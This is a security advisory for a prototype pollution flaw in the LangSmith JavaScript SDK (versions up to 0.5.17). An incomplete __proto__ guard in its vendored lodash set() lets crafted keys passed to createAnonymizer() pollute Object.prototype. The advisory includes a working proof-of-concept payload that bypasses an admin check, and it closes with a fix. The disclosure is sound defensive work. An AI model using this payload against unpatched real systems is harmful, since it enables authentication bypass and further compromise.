| summary |
LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`
# GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash `set()` Guard in `langsmith-sdk`
**Severity:** Medium (CVSS ~5.6)
**Status:** Fixed in 0.5.18
---
## Summary
The LangSmith JavaScript/TypeScript SDK (`langsmith`) contains an incomplete prototype pollution fix in its internally vendored lodash `set()` utility. The `baseAssignValue()` function only guards against the `__proto__` key, but fails to prevent traversal via `constructor.prototype`. This allows an attacker who controls keys in data processed by the `createAnonymizer()` API to pollute `Object.prototype`, affecting all objects in the Node.js process.
---
## Affected Products
| Product | Affected Versions | Component |
|---------|-------------------|-----------|
| `langsmith` (npm) | <= 0.5.17 | `js/src/utils/lodash/baseAssignValue.ts`, `js/src/anonymizer/index.ts` |
| langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |
**Not affected:** The Python SDK (`langsmith` on PyPI) does not use lodash or an equivalent pattern.
---
## Root Cause
The SDK vendors an internal copy of lodash's `set()` function at `js/src/utils/lodash/`. The `baseAssignValue()` function at `baseAssignValue.ts:11` implements a guard for prototype pollution:
```typescript
function baseAssignValue(object: Record<string, any>, key: string, value: any) {
if (key === "__proto__") {
Object.defineProperty(object, key, {
configurable: true, enumerable: true, value: value, writable: true,
});
} else {
object[key] = value; // ← No guard for "constructor" or "prototype" keys
}
}
```
This blocks `__proto__` pollution but does **not** block the `constructor.prototype` traversal path. When `set()` is called with a path like `"constructor.prototype.polluted"`:
1. `castPath()` splits it into `["constructor", "prototype", "polluted"]`
2. `baseSet()` iterates: `obj.constructor` → `Object` → `Object.prototype`
3. `assignValue(Object.prototype, "polluted", value)` calls `baseAssignValue()`
4. Key is `"polluted"` (not `"__proto__"`), so the guard is bypassed
5. `Object.prototype.polluted = value` — all objects are polluted
---
## Attack Vector via Anonymizer
The `createAnonymizer()` API (importable as `langsmith/anonymizer`) processes data by:
1. **Extracting string nodes** — `extractStringNodes()` walks an object recursively and builds dotted paths from keys
2. **Applying regex replacements** — If a string value matches a configured pattern, the node is marked for update (`anonymizer/index.ts:95`)
3. **Writing back with `set()`** — `set(mutateValue, node.path, node.value)` writes the replaced value back (`anonymizer/index.ts:123`)
An attacker who controls keys in data being anonymized can construct a nested object where the path resolves to `constructor.prototype.X`:
```javascript
{
wrapper: {
"constructor.prototype.isAdmin": "contains-secret-pattern"
}
}
```
`extractStringNodes()` produces path `"wrapper.constructor.prototype.isAdmin"`. When the replacement triggers and `set()` writes back, it traverses up to `Object.prototype`.
Although `createAnonymizer()` uses `deepClone()` at `anonymizer/index.ts:62` (`JSON.parse(JSON.stringify(data))`), the prototype chain traversal escapes the clone boundary because `clone.wrapper.constructor` resolves to the global `Object` constructor, not a cloned copy.
---
## Proof of Concept
```javascript
import { createAnonymizer } from "langsmith/anonymizer";
const anonymizer = createAnonymizer([
{ pattern: "secret", replace: "[REDACTED]" }
]);
console.log("BEFORE:", ({}).isAdmin); // undefined
const maliciousInput = {
wrapper: {
"constructor.prototype.isAdmin": "this-is-secret-data"
}
};
anonymizer(maliciousInput);
console.log("AFTER:", ({}).isAdmin); // "this-is-[REDACTED]-data"
console.log("Array:", [].isAdmin); // "this-is-[REDACTED]-data"
function checkAccess(user) {
if (user.isAdmin) return "ACCESS GRANTED";
return "ACCESS DENIED";
}
console.log(checkAccess({ name: "bob" })); // "ACCESS GRANTED" ← BYPASSED
```
---
## Impact
Prototype pollution in a Node.js process can enable:
1. **Authentication bypass** — `if (user.isAdmin)` checks succeed on all objects
2. **Remote Code Execution** — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach `eval()`/`Function()` sinks
3. **Denial of Service** — Overwriting `toString`, `valueOf`, or `hasOwnProperty` on all objects
4. **Data exfiltration** — Polluting serialization methods to inject attacker-controlled values
---
## Remediation
In `baseAssignValue.ts`, extend the guard to cover `constructor` and `prototype` keys:
```typescript
function baseAssignValue(object, key, value) {
if (key === "__proto__" || key === "constructor" || key === "prototype") {
Object.defineProperty(object, key, {
configurable: true, enumerable: true, value, writable: true,
});
} else {
object[key] = value;
}
}
```
As defense in depth, `extractStringNodes()` in `anonymizer/index.ts` should also sanitize or reject path segments matching `constructor` or `prototype` before passing them to `set()`.
---
## Timeline
| Date | Event |
|------|-------|
| 2026-03-24 | Initial report submitted |
| 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |
---
## Credits
Reported by: OneThing4101 |